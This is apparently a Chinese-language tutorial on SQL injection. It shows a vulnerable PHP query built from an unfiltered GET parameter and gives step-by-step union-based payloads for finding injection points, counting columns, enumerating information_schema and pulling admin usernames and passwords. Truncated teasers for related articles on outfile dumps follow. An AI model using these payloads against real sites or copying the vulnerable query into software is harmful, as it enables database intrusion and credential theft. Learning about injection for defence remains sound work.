sql注入原理
指令碼**接收來自前端資料未進行過濾,導致惡意sql語句插入到資料庫中查詢執行。
如下**:
<?php
$id = $_get['id'];
$sql = "select * from user where id=$id";
.......
$result = mysql_query($sql);
?>
sql注入攻擊流程
1.and語法判斷是否存在注入點
and 1=1
正確頁面
and 1=2
錯誤頁面
and 1=1
and 1=2
結果:如果以上兩條語句都沒有引起頁面錯誤,則判斷此處存在注入點
2.order by 語句獲取查詢字段數目
order by 5
order by 5
正確order by 6
錯誤那麼該錶存在5
個字段數目
3.獲取資料庫相應資訊
database() :資料庫名 fanke
version() :資料庫版本 5.5.40
user() : 資料庫使用者 root@localhost
@@version_compile_os :作業系統 win32
union select user() ,database(),3,4,5
4.通過資料庫名字獲取以下資訊
要求:mysql5.0
以上版本
information_schema:儲存mysql資料庫下所有資料庫的表名和列名資訊的自帶資料庫
table_name:表名
table_schema:資料庫名
column_name:列名
information_schema.tables:儲存mysql資料庫下所有資料庫的表名資訊的表
information_schema.columns:儲存mysql資料庫下所有資料庫的列名資訊的表
union select table_name,column_name,2,3,4,5
如果sql版本比較低則用以下方法
3.union 查詢猜表名字
union select 1,2,3,4,5 from admin
猜測資料庫是否存在admin表
4.猜資料庫列名字
union select 1,username,3,password,5 from admin
猜測資料庫是否存在username、password列名字
web滲透 SQL注入檔案dump
這次注入主要是針對php來說的。如果通過dump錯誤命令來進行錯誤盲注。將表的內容到處為乙個文字檔案。select 列名 from table where 語句 into outfile 目標檔案 option 將表的內容匯出為乙個文字檔案,一次到處一行 將資料匯入mysql 1 2 3 and s...
Web滲透 SQL注入知識總結
注入漏洞分類 sql手動注入 sql注入利用工具 sql注入漏洞如何防禦 資料data 在計算機系統中,各種字母 數字 符號的組合,語音 圖形 影象等統稱為資料 資料庫database 資料庫是按照資料結構來組織 儲存 管理資料的 倉庫 資料庫管理系統dbms 一類操縱和管理資料的軟體,用於建立 使...
mysql資料庫sql注入原理 SQL注入原理
結構化查詢語句 structured query language,縮寫 sql 是一種特殊的程式語言,用於資料庫中的標準資料查詢語言。sql注入 sql injection 是一種常見的web安全漏洞,攻擊者利用這個問題,可以訪問或者修改資料,或者利用潛在的資料庫漏洞進行攻擊。什麼是sql注入?s...